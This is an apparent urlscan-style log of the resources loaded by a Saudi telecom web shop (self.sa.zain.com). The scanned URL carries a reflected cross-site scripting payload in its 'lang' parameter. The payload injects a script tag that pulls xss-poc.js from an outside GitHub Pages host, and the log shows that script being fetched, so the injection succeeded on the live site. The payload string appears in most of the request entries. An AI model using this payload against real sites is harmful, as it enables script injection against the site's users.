X-Frame-Options
sameorigin
Content-Type
image/png
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
5267
X-Xss-Protection
1; mode=block
jquery.min.js
self.sa.zain.com/new/sim_page/assets/js/ 		82 KB
29 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/sim_page/assets/js/jquery.min.js
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
8af93bd675e1cfd9ecc850e862819fdac6e3ad1f5d761f970e409c7d9c63bdc3
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Sun, 05 Sep 2021 13:19:11 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"14960-5cb3f60d05ea4-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
29524
X-Xss-Protection
1; mode=block
css2
fonts.googleapis.com/ 		7 KB
813 B 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://fonts.googleapis.com/css2?family=Cairo:wght@300;400;600;700&display=swap
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2a00:1450:4001:80b::200a Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
ESF /
Resource Hash
39a537aefd52512ee44fea105de5702bad41fd245d25686a141a9c07dc82f914
Security Headers
Name Value
Strict-Transport-Security max-age=31536000
X-Content-Type-Options nosniff
X-Frame-Options SAMEORIGIN
X-Xss-Protection 0

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

strict-transport-security
max-age=31536000
date
Mon, 26 Feb 2024 20:02:36 GMT
content-encoding
gzip
x-content-type-options
nosniff
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
x-xss-protection
0
last-modified
Mon, 26 Feb 2024 19:54:51 GMT
server
ESF
cross-origin-opener-policy
same-origin-allow-popups
x-frame-options
SAMEORIGIN
content-type
text/css; charset=utf-8
access-control-allow-origin
*
cache-control
private, max-age=86400, stale-while-revalidate=604800
timing-allow-origin
*
link
<https://fonts.gstatic.com>; rel=preconnect; crossorigin
expires
Mon, 26 Feb 2024 20:02:36 GMT
select2.min.css
cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/ 		16 KB
3 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/select2.min.css
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2606:4700::6810:5614 , United States, ASN13335 (CLOUDFLARENET, US),
Reverse DNS
Software
cloudflare /
Resource Hash
cda4a81c187015d95ed2c71f1841540b08203cdec5fa2a7d5d1825a3c2166f8c
Security Headers
Name Value
Strict-Transport-Security max-age=31536000; includeSubDomains; preload
X-Content-Type-Options nosniff

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 20:02:36 GMT
strict-transport-security
max-age=31536000; includeSubDomains; preload
x-content-type-options
nosniff
cf-cache-status
HIT
nel
{"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
age
9054950
x-jsd-version
4.1.0-rc.0
content-encoding
br
x-cache
HIT
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=86400
x-served-by
cache-fra-eddf8230089-FRA
x-jsd-version-type
version
server
cloudflare
etag
W/"3f88-kT+fe5U1rseQyjzp1uNaz682mZM"
vary
Accept-Encoding
report-to
{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UnfMznUQvbMWDb%2BGEGrfn2RC340ppTinIhNjUekmGaRwIPduCmg6UhLfU74NrvqqTpqWgwKK81OC4yDfJy7KX2r0TLGEtNIs2nByrxNlR9cnOThqmmqx%2FerewE6u6LMvL1LRyRhMGaz96obVTEk%3D"}],"group":"cf-nel","max_age":604800}
content-type
text/css; charset=utf-8
access-control-allow-origin
*
access-control-expose-headers
*
cache-control
public, max-age=31536000, s-maxage=31536000, immutable
timing-allow-origin
*
cf-ray
85bac9637ee24d31-FRA
select2.min.js
cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/js/ 		71 KB
20 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/js/select2.min.js
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2606:4700::6810:5614 , United States, ASN13335 (CLOUDFLARENET, US),
Reverse DNS
Software
cloudflare /
Resource Hash
f7244fff610595b944f76bf3080d74e3af42b5dd234f8f079e698cc39ac966b0
Security Headers
Name Value
Strict-Transport-Security max-age=31536000; includeSubDomains; preload
X-Content-Type-Options nosniff

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 20:02:36 GMT
strict-transport-security
max-age=31536000; includeSubDomains; preload
x-content-type-options
nosniff
cf-cache-status
HIT
nel
{"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
age
10086328
x-jsd-version
4.1.0-rc.0
content-encoding
br
x-cache
HIT
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=86400
x-served-by
cache-fra-eddf8230044-FRA
x-jsd-version-type
version
server
cloudflare
etag
W/"11dcb-beEOdKmS/KFegD2RDRMPgmYxy4Y"
vary
Accept-Encoding
report-to
{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dubH%2FmDHeNa5%2Fzqh6dF%2BFRZksJQkdXJtbsR3X2fsYlAPdiP75nCByByjoUygnxZN2p60A9RoSoTiYfiBoriEZGOD0SnvlnkiBUSlyxaM5iokIG3M2eykSJoUV2U%2BBPQMofDNcLzfaIbMZR2F4aI%3D"}],"group":"cf-nel","max_age":604800}
content-type
application/javascript; charset=utf-8
access-control-allow-origin
*
access-control-expose-headers
*
cache-control
public, max-age=31536000, s-maxage=31536000, immutable
timing-allow-origin
*
cf-ray
85bac9637ee64d31-FRA
sweetalert2@11
cdn.jsdelivr.net/npm/ 		75 KB
21 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://cdn.jsdelivr.net/npm/sweetalert2@11
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2606:4700::6810:5614 , United States, ASN13335 (CLOUDFLARENET, US),
Reverse DNS
Software
cloudflare /
Resource Hash
fb441ff081cc256b98959da540306b175fb66a28084595c4752bde82d10ba362
Security Headers
Name Value
Strict-Transport-Security max-age=31536000; includeSubDomains; preload
X-Content-Type-Options nosniff

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 20:02:36 GMT
strict-transport-security
max-age=31536000; includeSubDomains; preload
x-content-type-options
nosniff
cf-cache-status
HIT
nel
{"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
age
40794
x-jsd-version
11.10.5
content-encoding
br
x-cache
MISS, MISS
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=86400
x-served-by
cache-fra-eddf8230029-FRA, cache-lga21940-LGA
x-jsd-version-type
version
server
cloudflare
etag
W/"12a61-Nlw7eG8NazQ0Q/bvsAxsFYRq7lU"
vary
Accept-Encoding
report-to
{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VjIC7qCbpW2RBlZuLbA%2BM85dOFXvu8k1XTd3wqL9MfjoD0%2FoOHDeWI1s%2BBD%2FNO88OKz4RS8DfZ%2BA%2FzsOXjwO2dhoAscU0fVH7%2BjaFg2EN901ur2iyxVUSWruFMntZvqDrXwpcRbmT%2F%2B73cYvMO0%3D"}],"group":"cf-nel","max_age":604800}
content-type
application/javascript; charset=utf-8
access-control-allow-origin
*
access-control-expose-headers
*
cache-control
public, max-age=604800, s-maxage=43200
timing-allow-origin
*
cf-ray
85bac9637ee44d31-FRA
api.js
www.google.com/recaptcha/ 		1 KB
1 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://www.google.com/recaptcha/api.js?hl=en
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2a00:1450:4001:82f::2004 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
GSE /
Resource Hash
9ed2048af008abe9739e5658331fa63f436f359c2085099e7636f191bc5d1a9d
Security Headers
Name Value
Content-Security-Policy frame-ancestors 'self'
X-Content-Type-Options nosniff
X-Frame-Options SAMEORIGIN
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 20:02:36 GMT
content-encoding
gzip
x-content-type-options
nosniff
content-security-policy
frame-ancestors 'self'
server
GSE
x-frame-options
SAMEORIGIN
content-type
text/javascript; charset=utf-8
cache-control
private, max-age=300
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
x-xss-protection
1; mode=block
expires
Mon, 26 Feb 2024 20:02:36 GMT
html5-qrcode.min.js
unpkg.com/html5-qrcode@2.3.8/
Redirect Chain
  • https://unpkg.com/html5-qrcode
  • https://unpkg.com/html5-qrcode@2.3.8
  • https://unpkg.com/html5-qrcode@2.3.8/html5-qrcode.min.js
367 KB
104 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://unpkg.com/html5-qrcode@2.3.8/html5-qrcode.min.js
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
H2
Server
2606:4700::6810:7eaf , United States, ASN13335 (CLOUDFLARENET, US),
Reverse DNS
Software
cloudflare /
Resource Hash
660b12437b1d747e3e68b8be0685c08cb728140110ad213f167b14b66f8b1d8e
Security Headers
Name Value
Strict-Transport-Security max-age=31536000; includeSubDomains; preload
X-Content-Type-Options nosniff

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 20:02:36 GMT
via
1.1 fly.io
x-content-type-options
nosniff
cf-cache-status
HIT
content-encoding
br
strict-transport-security
max-age=31536000; includeSubDomains; preload
age
9307793
last-modified
Sat, 26 Oct 1985 08:15:00 GMT
fly-request-id
01HEY3JWAVZ0V0N8321F6CV73E-fra
server
cloudflare
etag
W/"5ba44-48AGyg4D4UXFgIJHGrZRQV72RN0"
vary
Accept-Encoding
content-type
application/javascript; charset=utf-8
access-control-allow-origin
*
cache-control
public, max-age=31536000
cf-ray
85bac963e9f40857-FRA

Redirect headers

date
Mon, 26 Feb 2024 20:02:36 GMT
via
1.1 fly.io
x-content-type-options
nosniff
cf-cache-status
HIT
fly-request-id
01HF16SW6KMKP52GCEKT5P287G-fra
server
cloudflare
strict-transport-security
max-age=31536000; includeSubDomains; preload
age
9203755
vary
Accept, Accept-Encoding
content-type
text/plain; charset=utf-8
access-control-allow-origin
*
location
/html5-qrcode@2.3.8/html5-qrcode.min.js
cache-control
public, max-age=31536000
cf-ray
85bac963b9ce0857-FRA
font-awesome.min.css
cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/ 		30 KB
6 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2606:4700::6811:190e , United States, ASN13335 (CLOUDFLARENET, US),
Reverse DNS
Software
cloudflare /
Resource Hash
799aeb25cc0373fdee0e1b1db7ad6c2f6a0e058dfadaa3379689f583213190bd
Security Headers
Name Value
Strict-Transport-Security max-age=15780000
X-Content-Type-Options nosniff

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 20:02:36 GMT
content-encoding
br
x-content-type-options
nosniff
cf-cache-status
HIT
nel
{"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
strict-transport-security
max-age=15780000
age
2826076
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=86400
content-length
5631
last-modified
Mon, 04 May 2020 16:10:07 GMT
server
cloudflare
cf-cdnjs-via
cfworker/kv
etag
"5eb03e5f-7918"
vary
Accept-Encoding
report-to
{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0AiUjzgrkrMuwnUnN%2BGnvyx3TN1Goxwy74bXjah0PDGklpWOL4O7LJ47Gmtc7WvX27WmDSISe4S28NdCUaA0QjLFqFNnPJFMxfheI2ANez%2FCz6FAIaUaak8W3Qgvz3SjD9hhGca%2BpXEaZRgcgTpQFirK"}],"group":"cf-nel","max_age":604800}
content-type
text/css; charset=utf-8
access-control-allow-origin
*
cache-control
public, max-age=30672000
accept-ranges
bytes
timing-allow-origin
*
cf-ray
85bac9638dbf5bf9-FRA
expires
Sat, 15 Feb 2025 20:02:36 GMT
pre_load.gif
self.sa.zain.com/new/sim_page/assets/images/ 		33 KB
34 KB 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://self.sa.zain.com/new/sim_page/assets/images/pre_load.gif
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
98a3d200e00b579bc2728ad2eb57290ab71da1eb5db24b2c65005ae91afbca69
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Content-Security-Policy
upgrade-insecure-requests
Last-Modified
Mon, 01 Nov 2021 08:15:45 GMT
ETag
"8456-5cfb5c8982e40"
X-Frame-Options
sameorigin
Content-Type
image/gif
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
33878
X-Xss-Protection
1; mode=block
sim_new.png
self.sa.zain.com/new/sim_page/assets/images/ 		71 KB
71 KB 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://self.sa.zain.com/new/sim_page/assets/images/sim_new.png
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
d70f8975aa63020ff5beb867bc08af2f9b850180ce96fc4589020a5bec79ce41
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Content-Security-Policy
upgrade-insecure-requests
Last-Modified
Sun, 24 Oct 2021 11:46:00 GMT
ETag
"11b79-5cf17c9c6ce00"
X-Frame-Options
sameorigin
Content-Type
image/png
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
72569
X-Xss-Protection
1; mode=block
wp-emoji-release.min.js
self.sa.zain.com/new/wp-includes/js/ 		18 KB
6 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-includes/js/wp-emoji-release.min.js?ver=6.2.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
4f79a89d16a5f717110fe080c0bf90b7e05ff95a4c4983f64d33110bf5f9c230
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Tue, 09 May 2023 01:00:31 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"4904-5fb38482e547a-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
5039
X-Xss-Protection
1; mode=block
jquery.validate.min.js
ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/ 		21 KB
8 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/jquery.validate.min.js
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
152.199.19.160 , United States, ASN15133 (EDGECAST, US),
Reverse DNS
Software
ECAcc (ama/48AB) /
Resource Hash
7705fee13417229d718f14947e9860d5bb2b25bd15c9f5cd834f2545c7bad0a6
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 20:02:36 GMT
content-encoding
gzip
x-content-type-options
nosniff
age
6892886
x-cache
HIT
content-length
7952
x-xss-protection
1; mode=block
last-modified
Mon, 31 Oct 2016 23:42:28 GMT
server
ECAcc (ama/48AB)
etag
"fcefe870d033d21:0"
vary
Accept-Encoding
content-type
application/javascript
access-control-allow-origin
*
cache-control
public,max-age=31536000
accept-ranges
bytes
timing-allow-origin
*
xss-poc.js
0xkayala.github.io/ 		3 KB
1 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://0xkayala.github.io/xss-poc.js
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2606:50c0:8001::153 , United States, ASN54113 (FASTLY, US),
Reverse DNS
Software
GitHub.com /
Resource Hash
4865356d55c1bb69dbc85229e95a2d2041a7d4dfb5b4f1aec7403e64d706ff6e

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

x-fastly-request-id
f29b9d6c934418b942ffb0790f52916168400df9
date
Mon, 26 Feb 2024 20:02:36 GMT
content-encoding
gzip
via
1.1 varnish
x-cache-hits
0
age
0
x-cache
MISS
x-proxy-cache
MISS
content-length
1004
x-served-by
cache-fra-eddf8230109-FRA
last-modified
Tue, 16 Jan 2024 12:55:38 GMT
server
GitHub.com
x-github-request-id
8F66:0E7F:160C842:1674F1D:65DCEE5B
x-timer
S1708977757.730899,VS0,VE108
etag
W/"65a67cca-b3e"
vary
Accept-Encoding
content-type
application/javascript; charset=utf-8
access-control-allow-origin
*
cache-control
max-age=600
permissions-policy
interest-cohort=()
accept-ranges
bytes
expires
Mon, 26 Feb 2024 20:12:36 GMT
ZAIN-30-WHITE-Footer-2x.png
self.sa.zain.com/new/wp-content/uploads/2021/10/ 		2 KB
2 KB 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://self.sa.zain.com/new/wp-content/uploads/2021/10/ZAIN-30-WHITE-Footer-2x.png
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
b5c6d2c1ceedd109e0f36fad0c4a78ab3c2a107ee5f6218fd5c8a987393914ba
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Content-Security-Policy
upgrade-insecure-requests
Last-Modified
Sun, 17 Oct 2021 22:03:09 GMT
ETag
"601-5ce9398097f05"
X-Frame-Options
sameorigin
Content-Type
image/png
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
1537
X-Xss-Protection
1; mode=block
single-product.min.js
self.sa.zain.com/new/wp-content/themes/Shop-Child-Theme-main/assets/js/ 		6 KB
3 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/Shop-Child-Theme-main/assets/js/single-product.min.js?ver=6.2.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
9118eec32e11c1159719cbab0a3ec9e33f6d800598ce04030d3f7241a278c044
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"1967-5ce382a0900aa-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
1960
X-Xss-Protection
1; mode=block
nm-core.min.js
self.sa.zain.com/new/wp-content/themes/Shop-Child-Theme-main/assets/js/ 		21 KB
7 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/Shop-Child-Theme-main/assets/js/nm-core.min.js?ver=6.2.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
